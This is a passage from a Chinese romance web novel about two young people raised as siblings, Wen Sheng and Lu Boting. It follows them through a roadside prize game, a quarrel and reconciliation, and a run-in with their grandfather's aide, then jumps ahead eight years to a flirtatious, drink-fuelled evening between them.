李叔没扭过来他的意思,但也没多话,他刚才不放心还去了一趟银行取了部分现金,手机贴着袖口放进少年衣服口袋里,两个人眉目专注地同时看向前面的小姑娘。
最后一轮开始转盘时,温声都要紧张晕了,虽然只是转盘抽奖这种小游戏,放在路边可能都没人注意,但她今晚就是和它较上劲了,这游戏规则她算是悟过来了,纯粹骗人的,抽一次奖先要交五十的抽奖费,怎么不直接给她来一刀?
玻璃箱内外都装上了微型摄像头,她倒着两条小细眉,朝那个镜头翻了个白眼。
今晚必须拿下!
指针转到第三圈时,温声换了思路,抬手震了震玻璃箱的前窗,那根指针被带动的慢了下来,旋到第四圈时,转速比上一轮的速度还要慢一帧,指针快要移到9时,温声忽然搬起玻璃箱的前座,指针越来越慢地从9划过,玻璃箱其实很重,她的两只手腕青筋都鼓了起来。
路泊汀也不嚼糖了,斜着身,一手搭上李叔的肩,双眸直勾勾地留意她的动作。
她背靠他,身上穿的毛绒外套,头上那顶粉色针织帽添了几分娇憨,细手腕,浅色发丝,耳垂薄又红,看上去一切都很轻盈。
玻璃箱外面有一层薄薄的镜面涂层,他捉摸着她的眼睛,一动不动,如同玻璃箱上方那两颗亮灯窥着他一样,默然静止。
指针悬在最上方,在0的位置开始左右小幅度振摆,温声一点一点吐气,就算写学校的奥数题和心算比赛时也没这么紧张。
开始计时。
1.
2.
温声扶着箱子的手腕用力到打颤,手背突起细细的骨头。
3.
路泊汀好像从来不会为这些不入流又很无聊的路边活动停留目光。
可是她会。
脑海中某些以往的情绪忽闪一过,她总觉得自己是个很无趣的人,假正经,对,就是这个词,比一只老鼠害死一锅粥还要扫兴的字眼。
这种穷酸死板的心态让她几乎是一瞬间难堪起来,脑子里有两个小人快速打起架——
至于吗?没中就没中呗。
至于啊!该尽力就尽力!
温声从镜面错影中和路泊汀忽然对上,心头一怔,她竟然读清了那层被热息糊上的他的话。
“稳住,别抖。”
猛然回过神,刚才拉走她的情绪被一刀斩断。
握住玻璃箱的手又有力气了。
5.
指针稳稳悬在数字0上。
“我靠……”
摊主姐姐鸵着脖子嘴巴张大,跑过去抓住她的手高高举起,周围也就他们四个人:“你赢了你赢了,妹妹,哎哟!我来这边巷子两周了,你是第一个正儿八经转盘成功的玩家,厉害了我靠!终于可以宰一次营业厅了!!”
路泊汀看到她露出袖口白生生的手腕,冷不丁想到以前在乡下的河坝里踩过的碎石子,她一晃,腕骨处窄片状的骨骼发出了坚硬的水击硠硠声。
很有力量。
算了,就算是诈骗,他也认了。
温声刚才紧张,也不知道是不是吸了冷气,突然连续打起嗝来,但她第一时间是回头朝他笑,眼底的光干净痛快地照在他身上,嘴巴闭得紧紧的,嗝的一声,脸颊的软肉瞬间鼓起。
那笑也没什么特别的,她对谁都是这么笑。
但他躲开了,胸口还鬼使神差地痉挛了一下。
李叔的耳边响起了那个没心没肺的少年喃喃低语的声音:“完了啊李叔。”
感觉赎不清了。
26. 别扭
后续就是回归正常的流程,摊主姐姐打掩护,路泊汀去抽签,顺便将手机盒塞进奖品袋里。
李叔含笑站在不远处朝温声点了点头作招呼,趁她过来前就离开了。
温声抱着那个新新粉粉的小手机碎步哒哒哒地冲过来,两手举到路泊汀眼前晃啊晃,又是叫又是喊的:“你快看快看!是真的手机!我没骗你对不对!!”
零下四五度的寒风雨雪天,她的脸蛋冻出两团很显眼的桃青色,鼻子和眼睛一样流着晶亮的水光,连捧起手机的两只小手动作都变得滞巴巴的。
“Whoa~”
路泊汀斜了斜额,口哨吹得又痞又戏谑,什么态都没表,瞥了那手机一眼,又扯出几声低低赖赖的哼笑。
也不知道是敷衍的附和还是附和的敷衍。
温声眨巴着大眼睛,还要说话时脖子突然一紧,他探手扯高她的上衣拉链,又抽紧毛绒帽两边的耳朵,瞅瞅她,开始摸衣服找纸。
帽檐已经淋了不少要化不化的碎雪,温声每说一句话,眼前就糊满一片白白的热气,寒气透骨,但她的两手高高抬着还是没放下,咧着小嘴巴咕哝刚才的话:“你知道得奖有多不容易吗?那个玻璃箱很沉超级沉,你看我手腕都被压红了。”
说完嘴唇嘟起小圆圈,朝他有意无意地翻眼睛,“你也不过来帮帮我,不过好在我力气很大自己搞起来了,我是不是很厉害呀,好像还是第一个中奖的人吧,你要不要……”
表扬我呀……
呀……
也不知道从什么时候,对他讲话的语调开始变得稚气软软。
没有刻意,也没有任何不自在。
两人之间的氛围自然到一时间谁都没察觉出这个小变化。
只是他左耳近右耳出并不搭理自己,温声抬脚就往地上很狠跺了跺,提醒他不夸她两句今晚她真就和他急了。
路泊汀没空搭理她的话,点着头虚嗯了几声,摸遍全身找不出一张抽纸,眼见她鼻涕泡都快掉到嘴里了,拧起一张俊脸啧啧了好几声,忍着嫌弃,卷起袖子就往她脸上盖了上去,挑毛拣刺的字眼几乎是从牙缝里颗颗往外蹦:“朋友,喂这位朋友,哈…?您是女生还记得么?不是,能注意点卫生么?鼻涕都掉嘴上了没点反应?怎么着,今晚我带你是从东非逃难回来了?埋汰不?”
噼里啪啦贴脸就是一顿批。
温声是真没注意到流鼻涕了,她冻得脸冰冰手冰冰,就连脚都冻得发麻,一想到他看到自己的小狼狈样了,脸登时升起热气,开口解释也不是闭嘴忍着被骂也不是。
“你对别我这么凶,好好讲话嘛,你也知道这个天气很冷,我又不是故意不讲卫生的。”
下巴埋进围巾里,温声瞄着大眼睛偷偷看他,说话声音也变得俏巴巴的。
路泊汀那个脏话都要滚出舌尖了,对上她无声反抗的眼神,眼睛咕噜转动时,灵动潋滟的水光像葡萄溅出饱满的汁水,漂亮又无辜,喉咙一滑,他只好又强行咽了回去,长指糙气地抚过眉宇,半退步道:“成吧,出来前没带够纸是我的问题,流吧流吧,今晚也不差这点儿了。”
他擦鼻子的劲儿很重,她像被人绑在山头,身体任风晃着,他甚至还一手掰过她的后颈,往前一带,等她站稳,袖子又重重蹭了上来。
真的很疼……
胡乱擦了一通后,路泊汀终于满意了,甩着袖口准备后撤,结果抬眼时,眉梢又一抽。
鼻涕泡一股脑地又流了出来。
她还应景地张开了嘴。
……
一个没忍住,是真忍不住了,路泊汀扯着袖口再次重重压了上去,怒容切齿地警告道:“啧,你脑子能有点反应吗?往上用力吸,给我吸回去!你要真吃进去今晚咱俩就断了,以后一个字都别搭。”
衣服废就废了。
脏脏的人他是多余一点都不想联系。
那种和兄弟之间口无遮拦的粗声语气也不知道怎么着就用到了她身上。
温声被他又是嫌弃又是训话的,尤其他还一副“噫不会再和你玩了”的表情,眼圈忽然就热了,好像她是怎么甩都甩不开的狗尾巴草,还是沾了臭泥的狗尾巴草,玻璃心哗啦一下就碎了。
她用力憋回眼泪,两手突然一个猛推,力气很凶地撞开他,冷着脸开始刺他:“你这么贵气就别擦了,大冷天的千万别为难自己,还有你这件衣服报个数回去后我赔你,还想要什么你干脆直说,我把我这两年多收到的所有红包零花钱和礼物都给你,不行就写个欠条吧,需要拿去给警察盖个红章吗?”
她越想越气,越说越激动,语气也愈发刻薄,就是要一股脑往深里堵他不痛快:“以后少对我多管闲事,我不需要,也受不住,你就当我不识好歹我不是个东西,我没出息,行吗少爷?”
被推的没动只是侧了半边肩的路泊汀,细挑着眸没什么情绪的盯向她。
眼神慢慢凉了下去。
“连你都嫌弃我,我以为你会不一样……”
温声抓紧那个手机盒,她不会吵架,一激动手就会抖,浑身也会抖,但她这会就是要以一种跋扈不讲理的泼辣样直勾勾对着他,眼底伤心又委屈,“今晚你是不是早就看我不顺眼了,又要和别人讨价还价浪费时间,还要被迫陪着打耳洞,那会儿问我帽子有味道就已经不耐烦了吧,是,就是有味道,是烧草的土炕味,满意了吗?”
她很用力地撑住表情,哽咽声很小,哭腔有抹难堪直达鼻腔的酸涩。
路泊汀细条长款的立在她面前,低阖着眸,下颚收紧,衣服里的手机一直在震动,他懒得理,没动没吭声也没看她。
在等她发泄完。
温声喘着冷气,有点说不下去了,她骨子里就不是一个温顺性格好的女生,她就是脾气差,就是敏感矫情,就是好坏不分,就是玻璃心重,就是脆弱惹人烦,就是最最最讨人厌的人。
可那又怎样,她现在就是想哭,就是想大闹,就是想和人干一架,就是不想再装了,全世界都爆炸吧,谁都别来管她!
不到十来米的摊主姐姐察觉到他们这边气氛好像不对劲,小姑娘背过身垂着头,看不到表情,只知道应该是哭了,她又不敢明目张胆观察那男生,只能干着手里的活时不时偷瞟两眼。
诶诶诶,这是咋了?
明明刚才一个悄摸塞手机,一个拿到抽奖二话不说就外跑,多喜庆啊,非要来这出,看着闹别扭的两人,如果不是他们年龄还不大又声称是兄妹,她都有种错觉,这不妥妥是小情侣闹别扭么?
思考着犹豫着,摊主姐姐还是决定过去调节一下二人关系,毕竟他们算是今晚自己两个大客户了,只是刚起身,面前就一晃。
刚才一直沉默的少年脱了身上那件厚长外套给小姑娘披了上去,身上只剩一件薄薄的毛衫,在她领口处又拨了几下作整理,表情正常没挂脸,还用绒衫的软毛边给她擦脸擦鼻子,边擦边轻吹气,动作看上去算很温柔了,小姑娘也是个会给台阶下的乖乖娃,没挣扎,也不会揪着理不放
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。
摊主姐姐提溜着一双眼在那两人身上来回疯狂扫射。
纯情呐~
羡慕喂~
“对不起,我本意不是你指的那样,以后不会再有那些话。”
温声起伏不停的呼吸忽而一轻,嘴巴悄悄扁了起来,感觉随时能哭出来。
在快要绷不住情绪的时候,不要和她说对不起……
路泊汀抽走她手里的手机,碰到她发抖的手,又摘了手套松松垮垮给她套了上去,一手开着机,低低的声音悦耳沉稳:“我这人随你怎么想,好的坏的我全收。我就只解释一句,今晚做这些事只是因为我乐意,我想和你一起做。如果我不愿意或者换个人,天王老子来了也别想挡我道。”
“还有,你用不着在我这儿自贬,我向来不听这些,我长了眼睛,会自己看。”
他背风站着,身上的薄衫被风吹得鼓起,泛凉的指尖轻蹭了两下她红红的眼皮,“你很聪明很勇敢也有自己的锐气,这是好事,这些我都有记住,以后你自己也要记住,好不好?”
她头越低,他注视就越深,说话声音依然带着理所当然的拽气,但细听又格外干净温和,甚至比雪还柔软:“没找到你的那几年,妈患过转换障碍症,也就是半瘫痪,偶尔会把我认成你,你应该也从相册里看到过,我以前住的是女生的房间。”
温声错愕地两手捂上嘴,倏地一下抬头看他。
那本相册她没认真看,刚来的那段时间,她的德不配位感特别强烈,所以一直强迫自己不要去留意之前她从未参与过的事。
所以他今晚讲的这些事是她从来不知道的。
路泊汀耸耸肩轻笑了笑,“我还蛮喜欢那个房间设计,那段时间对你挺愧疚,总觉得是我霸占了你几年卧室。”
温声说不出任何话,只能红着眼摇头。
“能找到你,能接你回家,这是生活给我们最好的礼物,你是爸妈生命里最最重要的一部分,是超出他们本身的重要,是任何人都无法取代的,包括我。”
你对他们来说也很重要啊。
温声贴着他站近了一些,想了想,才开口:“未来还很长很久远,我能感受到爸妈很爱我……但说实话,人不都是个体吗,只要我们有无法共存的视角,那就没有谁会成为谁生命里最重要的一部分……怎么会有人爱别人超过爱自己呢?我不太理解也不相信,而且爸妈总有一天会去过自己的生活,也总有一天会脱离我的世界彻底离开我……”
说得太过了。
温声咳了一声,止着酸疼的喉咙,立马又补了一句:“但是这不妨碍我在接受他们很爱我,因为我也在用力让全部的自己去爱他们。”
她是个极度悲观的人,一面迟钝一面敏感,渴望得到别人的爱,但又不想付出等同,说的那些话理性又冷血,但只有她自己知道,她只是怕,怕哪天自己被突然不爱。
如果连爱的能力都没有了,那她就真的不剩什么了。
路泊汀一顿,这个话题打算过了。
他心思不比她细,琢磨透她这些话的逻辑后,也就没上赶着解释。
让一只习惯流浪的猫记住回家的路是不能去驯服的。
低下腰歪过头,他斜斜看着她,半个身子从后面看是环住她的,她的鼻子被他擦的通红,凑近,他有意也吸了吸鼻子,装腔作势地问:“我好像也流鼻涕了,是不是也挺埋汰?”
要先磨平自己的棱角,然后准备好猫罐头,站在家门外,耐心等待。
27. 转向
他贴太近,温热的呼吸就喷到她脸上,身上冷咧好闻的气息像冰柜里喷出奶油和糖分的沙雾,就在她身前隔绝出一处属于夏日温煦的小世界。
眸光偷偷瞥过他精致挺直的鼻梁,只是融开后的雪水。
太……太近了。
温声收着呼吸,故作镇定地偏过脑袋,看天看地就是不看他,“也还好啦,你不是经常这样吗,我以为你有自知之明。”
结果没装好,绷出冷淡表情的小脸浅浅露出调皮狡黠的笑意,她仰头看雪花,又用若无其事的口吻问:“我脏脏的时候你不愿意和我玩,那你脏脏的时候,要不要问问我……”目光忽然直溜溜滑过来,眉眼促狭,一时都忘了躲开他,“愿不愿意和你继续玩?”
这算问题?
路泊汀无所谓地哂笑一声,完全不在乎,还煞有介事地拽起表情,“什么时候你才能意识到,谁愿不愿意和我玩都不影响我长得帅,不和我玩只会是你的损失,你缺了一个你生活中最重要的kingpin figure……”
巴拉巴拉巴拉。
他越讲越臭屁,越讲越起劲。
温声打着哈欠,用自己的袖口给他蹭掉了鼻子上的雪水,接着收回手捂紧两只耳朵,小声嘟囔:“别说了别说了,跟你玩还不行吗,别说了……”
手套暖意上来后手也不抖了,身上也不冷了,刚才堵堵的胸口像被橡皮擦哗啦一下全部清空,整个人莫名就不难受了。
自己在他面前脱光光后被剖的干干净净,结果他像个吸盘,好像对他怎么拳打脚踢怎么撒泼怎么情绪外露,他都坦坦荡荡全接下了。
怎么到头来像是她玩不起?
温声咬着唇,头又埋低几分。
路泊汀在她的新手机里存了自己的手机号,她还没电话卡,他只好在自己手机里给她暂时存了一个虚拟联络号,输入备注时动作一停,突然想起一个词。
前一阵在书房里看到姚书文的一本书,牛皮纸封面用梵文印着Dharma的字样,肯定不是他喜欢的类型,他也读不懂梵文,所以也就顺嘴问了一句:“这书是干嘛的?”
姚女士正在手记,被他一打扰,只好合上笔,翻过页考他:“用你现在的词汇量,说一个能概括出女性拥有绝对力量的单词。”
路泊汀想也没想,脱口说:“brave。”
姚女士手指托着下巴,笑着摇头。
“power?”
她干脆嘲他:“不够,英语班白上了?”
路泊汀想了个牛逼的,拍桌答:“maverick!”
姚书文手里的那本旧书往他面前轻拍了两下,垂下肩叹气:“都这么提示了还不会?笨不笨?”
您那是梵文和英语有个毛关系?
笨蛋路泊汀两手插兜,眼皮一拉,半睁着眼记那个歪歪扭扭的梵文。
也不知道怎么着,今晚突然就想到了这词,她看上去就一娇气敏感的小女生,脾气还不好,还总爱哭鼻子,心眼也很小,动不动就嘴硬堵他一顿。
但是……
路泊汀一副表情如常的人样,其实正歪着心思不动声色地在打量她。
她心里有一片很细腻的世界,世界里每一处视角下,心脏是被湿土簇起的能发起任何芽的种子,那是一颗金苹果,是万象之盒。
是他不管作为哥哥还是普通男生,都无法拥有和体验的力量。
所以这词儿,很搭她。
二话不说,输入,关机。
“走吧,女侠。”
温声转过身朝摊主姐姐摆了摆手,嘴唇微张微合说了一句告别语。
摊主姐姐对着她噘嘴嘻嘻一笑,两手弯起比了一个很可爱的桃心,然后继续坐在那个四只脚不太稳的红色塑料凳上,摇着鞋跟,摸出手机,往那对怎么看怎么搭的兄妹背影悄咪咪拍了一张。
人都喜欢美好的事物,对美好的人也不例外。
温声跟在路泊汀身后,还在琢磨要不要也道个歉,她刚才说话很难听,只是道歉这种事对她来说,有时候挺难以启齿的。
“对……”
“吃棉花糖还是炸糖糕?”
异口同声。
“……啊?”温声舔了舔有些干的嘴唇,想到甜食口水就上来了,看他已经拆塑料袋了,于是很利索地点头,“想吃芒果味的棉花糖!”
翻篇。
只要他搭台阶,她就会下
她也一样。
路泊汀吃不来任何芒果口味的东西,但也没告诉她,就着袋子给她分了一大半棉花糖,“先尝一口,好吃就留,不好吃就丢。”
只要是甜的就什么都好吃!
温声咬了一大口含在嘴里,感受绵绵的棉花糖慢慢扁下去,口感和烤箱里突然膨起的面包胚很像,见他不吃,举手,动作极其自然地递到他嘴边:“你快尝一口!不太甜也不腻,芒果味也不浓,你肯定喜欢吃的!”
路泊汀脸上有抹看不太出的不自在,见她一直抬着胳膊,都忘了避着点,就在她下嘴的位置不偏不倚咬了一小口,味道中规中矩,就是普通麦芽糖的甜丝味。
“怎么样?好吃吗!”
温声睁大亮晶晶的眼睛望着他,嘴唇红红的,嘴角还喇着棉花糖的糖霜。
只要他说好吃,以后她也可以再去那个叔叔摊上买。
唔,贵就贵!
路泊汀猜中她的小心思,伸着食指轻敲她的帽子,嘴边隐隐浮出笑窝,“好吃是好吃,但以后换家摊儿吧,那位老叔我真看不上。”
好~呀~
两人就慢慢悠悠拖着步子往餐厅走,路泊汀还穿的那双旧红色的人字拖,一路走,一路被路人迎面侧目,他拽着她的手,直肩直背走得一身光风霁月的坦荡样。
只要他不尴尬就一切都是小事。
温声从兜里拿出那个赢来小mp3,里面只存了几首歌,摊主姐姐还送给她一副白色的有线耳机,她递给他一只,另一只塞进左耳,又挑了一首没听过的轻音乐。
在这样一个安静寒冷的时刻,她突然想对他袒露点什么,呼出一小口热气,才状似无意地出声:“你有没有秘密?”
他扫过她,“什么才算秘密?”
“没有给任何人分享过,是你后知后觉发现的事情。”
天气太冷,路泊汀握拳抵着唇,一边走一边思考她的问题,想了想含糊道:“我应该没有吧。”
也是,他都是就事论事,放台面上明着来。
和人散步其实是信息交换的过程,像他们耳朵上连接的两只耳机,这头进那头也进,声音藏进大脑就变成了有意义的符号。
温声吃完棉花糖,暗自整理了一下措辞:“我想讲一件事,但是你千万不要告诉爸妈,这件事只有你能知道……能答应我吗?”
有点来兴趣了,路泊汀流里流气的慢慢挑起眉,但还是摇头:“答应不了,你知道我这人不靠谱还嘴欠,万一哪天给你抖出去坏了你好事,到头来你又要骂我,我很脆弱啊,肯定会哭会发疯会崩溃,严重点还会死过去,所以你最好想清楚到底要不要告诉我。”
说完还朝半空张着嘴,手拍到嘴巴上发出啊~啊~啊~的波浪声。
摆着他的嘴是真兜不住事。
温声就看着他怪声怪气地逗她,她记得姚女士以前说过,在他小时候为了撬他嘴里的一句话,各种诱惑都给了,后面惹急了,她还给了他后脑勺两饼,结果这浑蛋还是一个字不说。
定定看他一瞬,温声选择直接开口,他说不说出去都不影响她现在想告诉他:“我的血型好像和你们都不一样,爸妈还有你是A型,但我在上个月的体检报告里看到我是AB型,我上网查过是不可能出现这个血型的,不过那份体检报告被李叔拿去了,他的意思是医院印错了他找个时间重新去打印,可是……那是医院啊,会有印错的可能吗?”
她观察着路泊汀的表情,他敛下笑意也看向她,没打断让她接着说。
“而且我是左撇子,你们不是,我是浅色眼睛,你们都是黑色,我头发有点卷,还对海鲜过敏,但你和爸妈就没有……”
她沉默下来,他始终沉默。
温声不知道坦露这些话对她或是他会有什么影响,她只是在今晚这样一个环境下想说些话,只想对他说,于是就说了。
但当脑海中那堆复杂的箭头同时指向一个答案时,她就立马又后悔了,磕巴着声音急忙挽回:“这只是我很无聊的时候发现的,没有什么科学依据,而且后来李叔又给了我体检报告,信息都正常,我还查过说左撇子的人很聪明,你看爸妈就很聪明,我头发卷也可能是小时候营养没跟上……”
那眼睛怎么解释呢……
察觉到他正不动声色地审视着她,神色不明,从她微卷的发尾到手指再到鞋尖,又一语不发。
温声瞬间就卡起壳来,第一次感受到头皮发麻是什么滋味。
不要用这样的眼神看我……
“怎么?发现自己不是我亲妹?”
低迷的气氛忽而一转。
路泊汀换上一副这也算秘密的呵笑,眉眼玩味,上手直接卷起她的一撮头发,“你过去是不是,都不影响你现在是,而且我现在不也是卷毛?咱俩一样啊。”
唔……
温声荡着脑袋点点头,顺着他的意思往下说:“你的卷毛比我还卷
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,我最起码像个中国人,你就不太像。”
“ok,我是混子,你是纯子。”
“不不…你也是纯子……只是有一点点混……”
“不都一样吗。”
“是哦……我们没什么区别呢……”
两人扯着闲话,胳膊蹭着胳膊,又没什么事的继续往前走。
这算没事了吧?
温声小心脏落回原地,还想说什么时,抬头就看到他不知道若有所思了多久的模样,心下又一慌,上手拽着他快步往前跑:“快走啦,我们出来很久了,妈妈肯定着急了!”
“泊汀?”
身后有人喊过来。
温声听到这个声音顿时一呆,没回头,朝路泊汀疯狂递眼色——
你上,你上,你上!
来的人是爷爷的手下徐宏。
她不喜欢这人。
“你俩大晚上的怎么还在外边瞎逛?”徐宏是路爷爷手下的保卫人员,最近来江城办事,这会西装笔挺地从路边一辆军用越野车上下来,眼睛照到两人,手里的文件包交给一旁的人后走了过来。
但兄妹二人都没搭话。
徐宏意面色冷淡地扫过温声,又问路泊汀:“过年回京市吗?你爷爷说过好几次想你了。”
路泊汀笑,“怎么不想我妹,还有我爹妈,就想我,那我得多大面子啊。”
这像什么话?
徐宏蹙着眉,语气带着几分说教:“你爷爷叫你好几次让你去陪陪他,你也不去,老人家现在岁数上来了,心病多,你爸又不在国内,你要记得经常去看看,每个假期过去陪着出去走走多好?”
路泊汀往嘴里塞了一块姚书文的巧克力味道的棉花糖,俊脸鼓起两团,有模有样地点头,“没问题啊徐叔,只要我妈给个醒儿我立马就能去,顺便带上她。”
手腕洋洋洒洒往旁边小姑娘身上一指。
我不想去啊……
温声下意识就紧紧环住两条细胳膊,表情超级抵触,只要想到爷爷那张跟谁欠了他几个亿一样不耐烦的黑脸,她就想扭头撒泼了往外跑。
不就是介意她是半路来的孙女吗?
不就是介意姚女士不让他插手有关她的事吗?
路泊汀撑开两手,一副您看吧我真没辙的样子,“您也知道我们家我妈当主,我和我爸没话语权的,不过您也可以和我妹说,就当和我妈说了。”
温声小人得志地笑了笑,家里妈妈地位最高,妈妈又最爱她,那她地位也是最最高的嗷!
这话还真没毛病。
谁让这个徐宏先不喜欢她的,当初她回来前,听刘嫂说就是他在爷爷面前再三阻拦不让带她回家,而且当初路康和姚书文的婚事就被路老爷子一直不同意,操枪杆子上来的人对入赘这事完全接受不了,更别说路康还是他唯一的儿子。
徐宏没任何理由插手路家的事,更不敢在姚书文面前造次,只能在两个孩子跟前说一些上不了台面的话,看着温声,他不屑和这小丫头片子碰面,而且现在还是在路边,有些话就更没必要多说了,不过他自己被路泊汀怼的不自在,于是意有所指地将话头指向她:“阿声,别总是带你哥吃这些东西,你是吃惯了,他这个肠胃可矜贵着,一个不小心出了问题,你也担不起啊。”
温声哼哼弯唇一笑,虚心接下他的说道,心里都开始倒计时了。
不出三秒,他绝对会再被怼。
路泊汀又往嘴里送了一块棉花糖,嚼着的时候粉糯糯的唇肉一开一合,吃的别提有多开心,“多谢徐叔提醒,但您不知道吗,我现在品烟品酒样样懂行,还是您之前带我去见人吃饭,桌上学到的,这事儿我今晚算记起来了,爷爷那边我记得有几条顶好的烟,下次您来的时候帮我顺两条行吗?或者是提瓶酒,我给我爸也教教。”
徐宏静了声:“……”
什么都不用干,什么也不用说,只用站着呼吸就能出一口恶气的温声背过身给路泊汀来了个大拇指。
爽啊。
路泊汀表情压根没什么变化,只不过眸光戏谑地瞟了她一眼。
说这几分钟废话的功夫早就到店里了,路泊汀打算撤,勾着温声的肩膀,两只耳机全塞到了她耳朵里,朝徐宏扬了扬手,“好了,过年能不能去,还得看我妈,我妈乐意,我们一家四口整整齐齐就能去,她不乐意的事,我们当然不会做。先告辞了徐叔,您照顾好爷爷啊。”
温声被路泊汀搂着走出很远了,还能察觉到身后的两道犀利的目光,“我们这样讲话是不是不太好……他可是爷爷的人啊……”
路泊汀都懒得回头看,长指弹她脑门,“那又怎样,你妈永远是你妈。”
28. 亲亲
“你信神吗?”
那天晚上回餐厅前,就站在店门口,在店员迎出来前,温声指着上空橘粉色充斥着光怪陆离的雪天突然问路泊汀。
“你觉得呢?”
他很喜欢将话题原封不动抛回来。
“我不知道。”
“那你想什么时候知道?”
……他信不信神是她能掌控的吗?
餐厅的位置是在一段十字路口斜坡的拐角,正值风口,温声用力推开那扇厚重的玻璃门,周围飓风骤起,从后卷住她往店外猛退,在她快要被风再次吸出去时,后背忽然贴上他细挑有温度的身影,犹如骤降的神邸。
风一息,她回头。
路泊汀垂着眼,笑得深不可测:“信神还不如信我。”
接过她的手套,单手推开了门。
门敞开,那股巨风忽然消失不见,温声盯着他径直往前走的背影有一刻是恍神的。
*……*
记忆拉回八年后。
手机掂了得有八百下,路泊汀摇着头低声笑了开,他半蹲在她面前,刚要道歉,面上就啪的一热,她抬手挥了过来,大眼睛眯起皮笑肉不笑地斜他:“当我还是以前的温声?你说不好看就不好看?你配说吗,你算什么东西?把照片给我删了。”
就是这样,他无法阻绝。
路泊汀两指卡着手机举在她眼前,左右晃了晃,耸肩,接着犯贱:“不删啊。”
爱删不删,反正他手机里一堆她的黑照,无所谓了。
温声推开他,起身想倒杯水喝,结果面前的人死皮赖脸挡着道就是不让她过,她像抠猫抓板一样去抓他的头发,“起开!我都没和你计较,你最好现在少惹我。”
说完用臀尾甩了一记他碍眼的左脸。
啧。
路泊汀坐在地上揉着俊脸,有点疼有点热,还有点意犹未尽,盯着她娇翘的屁股,视线狡黠又坦荡,唇边的谑笑却很浪荡流气:“能再来一下么,我有点爽。”
刚说完右边脸就快快挨了一巴掌。
嘶,也成吧。
房间内热气太足,又和他闹了大半天,温声这会口干舌燥还浑身是汗,只好去冰箱找冰水喝。
“哇,什么时候准备的?”
拉开冰箱入眼就是一大盒冰淇淋蛋糕,还是她最喜欢的香草口味,脑袋挤进冰箱,朝那个透明包装盒连吸带嗅地闻了好一阵,浓浓的杏仁奶油混着香草豆荚味,她的口水立马掉了出来。
前几天住院不能吃这些甜腻的东西,她又无聊得慌,只好发消息故意磨他让他晚上来医院前先给她带一块小小小小蛋糕。
说了不下十次,没有一次给她带的。
“你不是想吃么,一次吃个够。”
路泊汀爬起来,抬着长腿慢慢悠走过来瞅了两眼那个提早订的蛋糕,奶油上面撒了一层他备注过的橙皮屑,大手很不客气地拨开她的小脑袋,提着蛋糕拿了出来,“想喝什么?”
对上她已经开始亢奋的小表情,摇头,先堵她的话:“冰的免谈。”
嘁!
“我还想喝果酒,刚刚没喝够。”温声指刚才去过的酒柜,接着昂头叉腰雄赳赳地说,“就喝就喝!今晚开心嘛!”
路泊汀一手托着蛋糕,另一手拎住她的后颈往客厅带,睨了眼她摩拳擦掌一副恨不得今晚吃撑喝晕过去的傻样,抬膝往她屁股轻轻一踹,人就立马倒进了沙发,无视她握拳的骂咧声,他又折到酒柜前去挑酒,一排扫过去,都是清一色的高酒精度威士忌。
“这个瓶子好好看,我要喝这个!”
温声小偷小摸地从他背后忽然移过来,生怕他不让喝,快速抱走一瓶外形呈天鹅颈型的深色变色酒瓶。
是瓶酒精度在60%左右的朗姆酒。
……
路泊汀若无其事地回眸,眉梢挑起,“你确定喝这个?”
温声使劲抠着瓶盖,点头,“确定!”
他忽然笑得很难形容的模样,反正轻佻又玩味,还极散漫,在她脸上盯了一瞬,继续问:“别怪我没提醒你,确定?”
“烦不烦啊你,喝个酒啰里八嗦的。”
温声用肩膀撞开他,抱着酒瓶哒哒哒跑回客厅,又从桌上取走两只透明高脚杯,她很少喝酒,只知道先猛猛给自己倒满一杯,再假客气地给他也倒了点,然后目含警告又笑嘻嘻地问:“你喝吗?”
路泊汀睨着那杯给他倒了杯量的六分之一都不到的酒,懒得扯唇,就等她下一句。
三秒都不到,温声咂咂嘴叹气,酒杯往自己怀里挤了挤,否掉他:“算了吧,你并不想喝。”
路泊汀这会坏心眼犯了,压根就没想提醒她这种烈酒需要搭点冰块和饮料稀释一下,扬着一副要笑不笑的狗样子瞅她闷头把他那小半杯干了下去。
喝下去的那一刻,就那个瞬间,疼的舌头恨不得伸出来扇死她,就连大脑皮层的所有细胞都猛然炸开想要电晕她。
心跳加速,头晕目眩,脸烫四肢发麻,一长串即时的生理反应措手不及冒了出来。
温声一下就被喝懵了。
啊啊啊啊啊
辣死她了!
路泊汀斜倚着沙发,翘起二郎腿,顺便挖了一勺她的蛋糕边缘那层冰淇淋奶油,只尝了一小口,这辈子基本告甜,但他还是咬住勺子,学着她刚才的语气,小气吧啦地问:“要吃么?”
“唔我呜呜……”
温声乌拉乌拉还在吐舌头,他晃着眉也否她:“别了吧,这蛋糕是我买的,你应该还没什么资格吃。”
我要吃!
温声原地跃起,直接跳到他身上去抢勺子,吐着舌头口水喇喇地说:“快给我吃一口,我舌头被辣掉了!你快看是不是很红……”
她一把夺过他的勺子,挖了一大口面包胚塞进嘴里,结果一时吃猛了,还没咽下去又是重重‘嗝’的一声。
噎到了。
水水水!
路泊汀无动于衷地敞开两长腿,一副大爷坐姿,就看她打着嗝又手忙脚乱去端那杯倒给自己的酒,见她快要喝下去时,才动了动嘴皮打断她:“喂,你拿错了。”
‘啪!’
温声一掌狠狠拍到他腿上让他闭嘴,借力,仰头又是一记猛灌。
3.
2.
“啊呸呸呸啊啊啊——”
尖叫声灌耳。
她这人真有种声东击西最后击回自己身上的傻感。
又笨又呆又犟,还莽。
路泊汀一时失笑,长指抚过胀痛的额角,只能起身去给她倒水。
温声见他不搭理她自己还走开了,真的要哭了,咧着嘴巴口齿不清道:“我是不是很笨,嗝……”
端着调好的温水回到客厅,前后也就不到两分钟,路泊汀刚坐下,旁边的小黑影一闪,脖子就被强势搂了去,杯子晃出的水打湿了一半她的胸口和他整只
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手。
温声四肢无骨地爬到他身上,浑身发软发烫,连吐出的气息都有层滚热的湿意,她的手腕搭着他的肩,两腿并拢紧跪在他腿上,以一种俯姿小心托起他的脸。
路泊汀顺势头靠沙发,黑眸微敛,盯着她被酒水浸红嘟起的嘴唇,眼里的情绪翻滚着黑雾和风暴,静息下,两人的呼吸擦过电流似的乱。
“dare to kiss me?”
她的轻喃声是那串电流磨出的火花,湿麻带哑。
俏皮的语气像一条挑逗甩绕的长毛猫尾巴。
噗~呲~噗~呲~
眼皮被那条猫尾巴扫了过来,路泊汀半阖着眼,单手虚抱着她的腰肢,脑海中晃过她刚才甩着臀蹭他,脸上的余热后知后觉起来了,手腕下移,动作漫不经心又挑逗撩人地挑开她身上的短裤,听她急促的喘息,望进她眼底隐约笨拙的情绪。
他同时也喘气,尾音毛茸茸的,又带着干净低沉的磁性,邀请她:
“want a taste?”
